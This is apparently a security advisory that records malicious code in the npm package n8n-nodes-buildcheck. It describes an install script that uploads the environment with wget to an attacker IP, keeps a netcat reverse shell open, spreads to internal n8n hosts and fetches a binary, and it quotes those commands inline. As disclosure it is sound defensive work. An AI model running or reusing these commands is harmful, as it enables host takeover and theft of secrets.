MAL-2026-16177

    Dashboard / Malicious Package / MAL-2026-16177

    MAL-2026-16177

    Published: 15 Sept 2026Last Modified: 15 Sept 2026

    Summary: Malicious code in n8n-nodes-buildcheck (npm)

    Details: Source: amazon-inspector (65dcf471b1b0c1765b92cab4922777dd8486ad14cc17bcd9475996585c75eebc) On npm install, postinstall.js collects the full environment, `id`, `hostname`, and `/proc/1/cgroup`/`status` into `/tmp/.be` and uploads it via `wget --post-file` to http://121.127.33.228:8443/env2. The same postinstall spawns a detached loop that repeatedly runs `nc 121.127.33.228 443 -e /bin/sh` with a 7-second reconnect interval, giving the remote party a persistent unauthenticated shell on the installer's host. It also attempts to authenticate to an internal n8n instance at http://10.0.3.2:5678 using a hardcoded credential and invokes `/rest/nodes/community/install` with `verify:false` to install a sibling package `n8n-nodes-sysdiag2`, extending compromise to adjacent n8n hosts. When n8n loads the community node, dist/SysDiag.node.js wgets an opaque binary from http://121.127.33.228:8444/mn8n2 into `/tmp/.mn2`, chmods it executable, and launches it detached.

    References: https://www.npmjs.com/package/n8n-nodes-buildcheck/v/1.0.0

    Affected packages

    Package

    Name: n8n-nodes-buildcheck

    Purl: pkg:npm/n8n-nodes-buildcheck

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0